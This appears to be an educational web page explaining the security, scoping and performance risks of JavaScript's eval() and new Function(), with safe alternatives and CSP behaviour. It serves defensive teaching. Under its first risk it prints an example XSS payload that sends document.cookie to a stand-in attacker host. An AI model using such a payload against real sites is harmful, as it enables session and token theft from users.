Skip to main content

Why eval() is dangerous

eval() takes a string of JavaScript source and executes it as ordinary code while the program runs. It is literally a miniature JavaScript interpreter inside JavaScript, and that is why it turns any data into executable code, with all the security consequences that follow.

Theory

TL;DR

  • eval(code) runs a string as code in the current execution context.
  • If user input reaches that string, you have XSS or remote code execution.
  • eval() sees every variable in the current scope, so it breaks isolation.
  • The engine cannot optimise such code; JIT and inlining are switched off.
  • Direct and indirect calls run in different scopes.
  • A strict CSP without unsafe-eval forbids the call and the browser throws.
  • new Function() carries the same risk, because it also executes a string as code.

Quick example

javascript
eval("console.log('Hello, world!')"); // the string is executed as code const userInput = prompt('Enter something:'); eval(userInput); // never do this: the user decides what your app runs

Risk 1: XSS and arbitrary code execution

If user input reaches eval(), it is a disaster. Typing this is enough:

javascript
alert('Hacked!');

and the code runs. In the worst case:

javascript
fetch('https://attacker.example.com/steal?cookies=' + document.cookie);

The attacker gets the user's cookies and auth token. This is called XSS (Cross-Site Scripting) or Remote Code Execution.

Risk 2: broken scope isolation

eval() runs in the current context, so it has access to every variable and function of your script:

javascript
const secret = 'myToken123'; eval('console.log(secret)'); // prints the secret

If somebody injects their own code, they get full access to the application's internal state.

Risk 3: lost optimisation and unpredictable scope

Modern engines (V8, SpiderMonkey, JavaScriptCore) optimise code heavily at compile time. Next to eval() the engine cannot predict what will be executed, so it has to switch the optimisation off. The consequences:

  • the code runs slower;
  • the garbage collector steps in more often;
  • inlining and JIT optimisation are disabled.

A separate trap is the difference between direct and indirect calls. A direct call runs in the current scope:

javascript
let x = 1; eval('x = 10'); console.log(x); // 10

An indirect call, for example through (0, eval)(...), runs in the global scope:

javascript
let x = 1; (0, eval)('x = 10'); console.log(x); // 1 console.log(window.x); // 10

That makes the code unpredictable and hard to debug.

Safe alternatives and CSP

Most often people reach for eval() to parse JSON, call a function by name or evaluate an expression from a string. All of these have safe counterparts:

TaskSafe alternative
Parsing JSONJSON.parse(str)
Calling a function by nameobj[funcName]()
Dynamic logicMap or switch
Templatestemplate literals (strings with substitution)
Mathematical expressionsa dedicated parser (math.js, expr-eval)

The Function constructor is not safe either. People sometimes assume new Function() is safer, but it also executes a string as code:

javascript
const sum = new Function('a', 'b', 'return a + b'); console.log(sum(2, 3)); // 5

It works, but if user data ends up in there, the risk is the same as with eval().

On top of that, eval() cannot be used under a strict Content Security Policy. If the HTTP headers say:

text
Content-Security-Policy: script-src 'self'

then calling eval() simply makes the browser throw:

text
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowed

Comparing a bad and an acceptable approach. Bad:

javascript
function runExpression(expr) { return eval(expr); } runExpression('2 + 3 * 4');

Better, with an up-front check of the allowed characters:

javascript
function safeEval(expr) { const allowed = /^[0-9+\-*/().\s]+$/; if (!allowed.test(expr)) throw new Error('Invalid characters'); return Function(`"use strict"; return (${expr})`)(); } console.log(safeEval('2 + 3 * 4')); // 14

A summary of the risks:

ProblemWhy it is dangerous
XSS vulnerabilityExecutes arbitrary code
Breaks isolationAccess to every variable
SlowDisables engine optimisation
UnpredictableDifferent scope for direct and indirect calls
Incompatible with CSPForbidden on sites with a strict policy

Common mistakes

  • Parsing JSON with eval(). A classic old habit; JSON.parse() is both faster and does not execute code.
  • Believing new Function() is safe. It is the same mechanism, just with its own global scope.
  • Filtering "bad words" out of the string. Blacklists get bypassed; the only reliable approach is an allowlist of characters, or not executing the string at all.
  • Using eval() to call a function by name. Instead of eval('obj.' + name + '()') write obj[name](), which is both safe and readable.
  • Ignoring indirect calls. (0, eval)(str), window.eval(str) and setTimeout('code') also execute a string as code, often in the global scope.
  • Adding unsafe-eval to the CSP just to make things work. That removes exactly the protection meant to save the app from injected code.

Short Answer

Interview ready
Premium

A concise answer to help you respond confidently on this topic during an interview.